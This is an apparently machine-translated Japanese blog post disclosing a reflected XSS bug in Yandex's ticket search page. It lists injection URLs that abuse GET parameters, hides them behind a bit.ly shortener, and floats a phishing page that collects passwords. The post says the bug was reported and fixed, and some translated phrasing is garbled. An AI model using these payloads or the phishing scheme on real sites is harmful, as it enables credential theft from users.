HOWTO :
1)フォームを送信します。
2)GETパラメーターを使用します。
3)値がページの本文に書き込まれているものを見つけます。
4)jsを注入しようとします
5)???
6)利益!
いくつかの詳細:
チケット検索フォームにアクセスします。
http://ticket.yandex.ru/variants/?
多くのエラーメッセージが表示されます。

アドレスバーに小さな魔法を代入する:
http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script><script>
壊れたページを観察します。
さらにパラメーターを操作して、探しているものを見つけ、不要なエラーメッセージを削除します。
http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"SOME_TEXT<script>alert(1)</script>&klass=first&fromId=&toId=-
http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"SOME_TEXT<script>alert(1)</script>&klass=first&fromId=&toId=-
それだけです ほぼテレマーケット。
テキストをより説得力のあるものにするだけです。 たとえば、これ:
http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"%20%20<a%20href='http://google.com'>%20%20</a>%20%20%20.<script>alert(1)</script>&klass=first&fromId=&toId=-
http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"%20%20<a%20href='http://google.com'>%20%20</a>%20%20%20.<script>alert(1)</script>&klass=first&fromId=&toId=-

長いURLでしたね? まあ、怖くない。
ところで、goo.glは私たちを助けません。 悪い言葉でURLを検出します。
しかし、ここには多くの競争がありますので、私たちはそれほど賢くはありません。
bit.ly/KHEmsr
これで、たとえば、以前に落書きしていたソーシャルネットワーク上のYandexへの興味深いリンクを投稿できます
フライト検索ページのコピー、世界中のすべてのパスワードを要求します...
さらに、再び、掘りませんでした。
PS:この投稿は、単に教育目的のために書かれました。
UPD :Yandexの技術サポートに手紙を書きました。
簡単な結論:
- GETパラメーターを確認します。city_nameを取得する場合、このパラメーターの値に「<、>など」を残しても意味がありません。 同じことがint型の値にも当てはまります。文字列はそこでは役に立ちません。
- 優秀なプログラマーでさえ、子供時代に間違えることがあります。
- 同様の記事を公開する前に、もちろん、もしあなたが白い帽子なら、サポートの購読を解除することを忘れないでください。 (Habraiser TheAlienにこのことを思い出させてくれて特別な感謝)
UPD2 :バグ修正。 ああ、どうも...